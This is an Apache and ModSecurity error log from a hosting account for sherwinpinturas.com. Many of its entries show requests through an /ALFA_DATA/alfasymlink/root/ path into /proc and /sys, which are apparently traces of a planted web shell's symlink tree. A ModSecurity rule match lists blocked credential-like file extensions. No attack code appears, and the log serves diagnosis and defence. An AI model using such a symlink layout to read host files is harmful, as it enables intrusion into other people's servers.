[Tue Oct 27 00:07:34.748590 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.210.155.69:11455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:38.759311 2026] [core:error] [pid 3157402:tid 3157402] (13)Permission denied: [client 52.2.83.227:1720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource1
[Tue Oct 27 00:07:42.687269 2026] [security2:error] [pid 3157402:tid 3157402] [client 54.198.33.233:11679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/cpu1/subsystem/"] [unique_id "auAjjqs6S6fM3j03wgP5RAAAABE"]
[Tue Oct 27 00:07:42.687321 2026] [security2:error] [pid 3157402:tid 3157402] [client 54.198.33.233:11679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/cpu1/subsystem/"] [unique_id "auAjjqs6S6fM3j03wgP5RAAAABE"]
[Tue Oct 27 00:07:43.344170 2026] [security2:error] [pid 3152927:tid 3152927] [client 107.172.76.131:57783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAjgen4bIWiIXBuaEF_KAAAAAI"]
[Tue Oct 27 00:07:43.344210 2026] [security2:error] [pid 3152927:tid 3152927] [client 107.172.76.131:57783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAjgen4bIWiIXBuaEF_KAAAAAI"]
[Tue Oct 27 00:07:50.782850 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 44.218.170.184:44401] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:54.682121 2026] [ssl:error] [pid 3157794:tid 3157794] (70014)End of file found: [client 3.94.157.25:46548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:59.395043 2026] [ssl:error] [pid 3157804:tid 3157804] (70014)End of file found: [client 44.214.19.8:63087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:08.324684 2026] [security2:error] [pid 3157793:tid 3157793] [client 85.208.96.202:46318] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-perl.conf"] [unique_id "auAjqPtghdr4MlG4jtsldwAAAAE"]
[Tue Oct 27 00:08:08.325128 2026] [security2:error] [pid 3157793:tid 3157793] [client 85.208.96.202:46318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-perl.conf"] [unique_id "auAjqPtghdr4MlG4jtsldwAAAAE"]
[Tue Oct 27 00:08:08.325467 2026] [security2:error] [pid 3157793:tid 3157793] [client 85.208.96.202:46318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-perl.conf"] [unique_id "auAjqPtghdr4MlG4jtsldwAAAAE"]
[Tue Oct 27 00:08:10.716984 2026] [ssl:error] [pid 3157366:tid 3157366] (70014)End of file found: [client 52.200.58.199:39447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:23.363963 2026] [ssl:error] [pid 3157366:tid 3157366] (70014)End of file found: [client 52.202.233.37:14730] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:30.959141 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 23.21.179.27:8356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:34.722042 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.2.191.202:9800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:42.750712 2026] [ssl:error] [pid 3157366:tid 3157366] (70014)End of file found: [client 3.216.13.10:51553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:46.888115 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 100.25.120.246:53681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:08:50.794462 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 100.27.153.9:50106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource4
[Tue Oct 27 00:08:52.039605 2026] [security2:error] [pid 3157804:tid 3157804] [client 107.172.76.131:57801] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAjyH_gtVyHDYer0-AB6wAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:08:52.039707 2026] [security2:error] [pid 3157804:tid 3157804] [client 107.172.76.131:57801] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAjyH_gtVyHDYer0-AB6wAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:08:54.909963 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 35.174.141.243:63484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:03.456421 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 34.226.89.140:55998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:10.919437 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 18.213.240.226:62977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:18.972303 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.215.59.93:53594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:22.823024 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 107.23.62.75:53044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:23.656642 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 85.208.96.198:49006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/order
[Tue Oct 27 00:09:30.923752 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 54.235.172.96:35059] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:34.935247 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 107.20.224.184:58155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:43.489491 2026] [ssl:error] [pid 3157136:tid 3157136] (5)Input/output error: [client 3.210.223.61:64050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:46.948285 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 98.82.40.168:12403] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:51.117349 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.213.85.234:36359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:09:59.107423 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 98.84.70.201:64907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:03.474469 2026] [ssl:error] [pid 3157910:tid 3157910] (70014)End of file found: [client 52.70.138.176:31087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:07.049269 2026] [ssl:error] [pid 3157912:tid 3157912] (70014)End of file found: [client 54.235.172.108:65424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:15.020735 2026] [authz_core:error] [pid 3157136:tid 3157136] [client 34.236.185.101:33387] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 00:10:19.007453 2026] [ssl:error] [pid 3157366:tid 3157366] (70014)End of file found: [client 44.213.202.136:17981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:21.657766 2026] [ssl:error] [pid 3157912:tid 3157912] (70014)End of file found: [client 185.191.171.8:15720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:35.035056 2026] [ssl:error] [pid 3157366:tid 3157366] (70014)End of file found: [client 52.207.47.227:42368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:42.561179 2026] [security2:error] [pid 3157793:tid 3157793] [client 107.172.76.131:57822] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auAkQvtghdr4MlG4jtslegAAAAE"]
[Tue Oct 27 00:10:42.561246 2026] [security2:error] [pid 3157793:tid 3157793] [client 107.172.76.131:57822] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auAkQvtghdr4MlG4jtslegAAAAE"]
[Tue Oct 27 00:10:43.056346 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 34.195.60.66:35291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:47.101876 2026] [core:error] [pid 3157403:tid 3157403] (13)Permission denied: [client 34.194.226.74:18819] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/type
[Tue Oct 27 00:10:55.153096 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 18.215.49.176:2018] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:10:59.026161 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 52.203.65.83:57030] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:07.259044 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 35.174.253.85:43590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:11.118232 2026] [ssl:error] [pid 3157787:tid 3157787] (70014)End of file found: [client 3.232.39.98:9530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:19.113862 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 44.208.223.68:48947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:31.088681 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 98.82.59.253:56704] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:35.143339 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 100.28.204.82:44295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:39.160796 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 184.72.84.154:32224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:11:45.568087 2026] [security2:error] [pid 3157403:tid 3157403] [client 107.172.76.131:57847] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAkdjKNsgnb8P4lW3lNxAAAABM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:11:45.568140 2026] [security2:error] [pid 3157403:tid 3157403] [client 107.172.76.131:57847] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAkdjKNsgnb8P4lW3lNxAAAABM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 00:12:03.214062 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 52.207.47.227:52955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/bind
[Tue Oct 27 00:12:11.538694 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 54.225.98.148:25728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:19.420951 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 3.219.80.71:11014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:23.258990 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 44.221.37.41:22694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:27.420156 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 18.209.137.234:19066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:31.272495 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 52.4.238.8:51500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/memory19/subsystem/uevent
[Tue Oct 27 00:12:39.249021 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 50.16.216.166:19727] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:43.520083 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 44.217.177.142:9293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:52.086401 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 54.225.81.20:34077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:12:53.061603 2026] [core:error] [pid 3157404:tid 3157404] (13)Permission denied: [client 185.191.171.1:32362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/_ftrace_events
[Tue Oct 27 00:13:03.374726 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 54.225.81.20:56495] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:15.565800 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 44.209.35.147:2551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:19.382151 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 52.3.155.146:51481] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:23.403485 2026] [core:error] [pid 3157404:tid 3157404] (13)Permission denied: [client 52.3.104.214:36560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/button/uevent
[Tue Oct 27 00:13:35.454688 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 34.194.226.74:53445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:39.133650 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 34.194.226.74:48177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:43.194662 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 3.232.82.72:60068] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:47.182091 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 44.210.213.220:25876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:51.861150 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 23.23.99.55:18473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:13:55.449061 2026] [security2:error] [pid 3157394:tid 3157394] [client 185.191.171.1:20750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/124/net/netfilter/nf_log"] [unique_id "auAlA6UuHOM_t3h_Yb4W8QAAABA"]
[Tue Oct 27 00:13:55.449114 2026] [security2:error] [pid 3157394:tid 3157394] [client 185.191.171.1:20750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/124/net/netfilter/nf_log"] [unique_id "auAlA6UuHOM_t3h_Yb4W8QAAABA"]
[Tue Oct 27 00:13:59.191286 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 98.83.226.125:3634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:11.123325 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 100.28.204.82:15195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:18.962010 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 85.208.96.203:51334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:19.061495 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 3.211.105.134:44188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:12/eject
[Tue Oct 27 00:14:22.858881 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 3.225.9.97:56784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:30.962625 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 54.225.98.148:20829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/pvpanic/unbind
[Tue Oct 27 00:14:34.918659 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 98.83.72.38:36444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0B00:00/subsystem/uevent
[Tue Oct 27 00:14:38.999226 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 23.21.179.120:7502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory15/subsystem/drivers_probe
[Tue Oct 27 00:14:42.962084 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 52.6.232.201:40675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:46.854752 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 44.194.134.53:48350] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:14:58.737949 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 3.218.103.254:55829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:06.813376 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 44.212.131.50:38595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:12.325086 2026] [ssl:error] [pid 3157804:tid 3157804] (70014)End of file found: [client 52.3.155.146:8451] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:22.899214 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 3.224.104.67:3649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/remove
[Tue Oct 27 00:15:26.673529 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 52.73.142.41:23119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:30.732573 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.231.118.144:44218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:38.693094 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.212.219.113:59251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:46.587757 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 100.29.155.89:15046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:15:54.377745 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 85.208.96.212:23848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/shrink
[Tue Oct 27 00:16:06.339232 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.7.13.143:51109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:26.199715 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.219.81.66:34264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:30.193564 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 44.209.89.189:48602] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:34.371398 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 18.235.81.246:34751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:42.175596 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 100.29.107.38:44329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:46.170124 2026] [ssl:error] [pid 3157804:tid 3157804] (70014)End of file found: [client 54.83.23.103:17113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:46.170355 2026] [security2:error] [pid 3157804:tid 3157804] [client 54.83.23.103:17113] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0C0F:02/hid"] [unique_id "auAlrn_gtVyHDYer0-AB-wAAAAw"]
[Tue Oct 27 00:16:46.170383 2026] [security2:error] [pid 3157804:tid 3157804] [client 54.83.23.103:17113] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0C0F:02/hid"] [unique_id "auAlrn_gtVyHDYer0-AB-wAAAAw"]
[Tue Oct 27 00:16:50.209872 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 23.21.250.48:10937] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:16:58.205230 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 50.17.193.48:25335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:02.358277 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 52.0.41.164:61904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:09.536923 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 85.208.96.201:16258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:22.194378 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 44.221.37.41:23146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:26.184071 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 18.214.138.148:49317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/subsystem/drivers_probe
[Tue Oct 27 00:17:28.848381 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 185.191.171.10:28628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:34.415349 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 98.80.130.239:47351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/resource0
[Tue Oct 27 00:17:42.157549 2026] [ssl:error] [pid 3157793:tid 3157793] (5)Input/output error: [client 52.204.71.8:23804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:50.514078 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.209.187.99:47350] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:17:58.307274 2026] [core:error] [pid 3158128:tid 3158128] (13)Permission denied: [client 44.217.255.167:21278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/memory16/subsystem/drivers_probe
[Tue Oct 27 00:18:02.213312 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.205.141.124:63890] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:04.526528 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 185.191.171.11:21784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:06.258632 2026] [ssl:error] [pid 3157404:tid 3157404] (70014)End of file found: [client 185.191.171.11:21792] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:06.290302 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 3.224.215.150:52319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:14.153614 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 3.226.34.98:15681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:16.979440 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 85.208.96.204:15934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/partial
[Tue Oct 27 00:18:22.186006 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.222.190.107:9736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:38.330602 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 54.159.98.248:17493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:40.635207 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 185.191.171.16:26850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:18:42.108092 2026] [authz_core:error] [pid 3157828:tid 3157828] [client 94.154.43.189:48968] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:18:54.151088 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.2.4.213:60190] AH02013: coalesce failed to read from data bucket
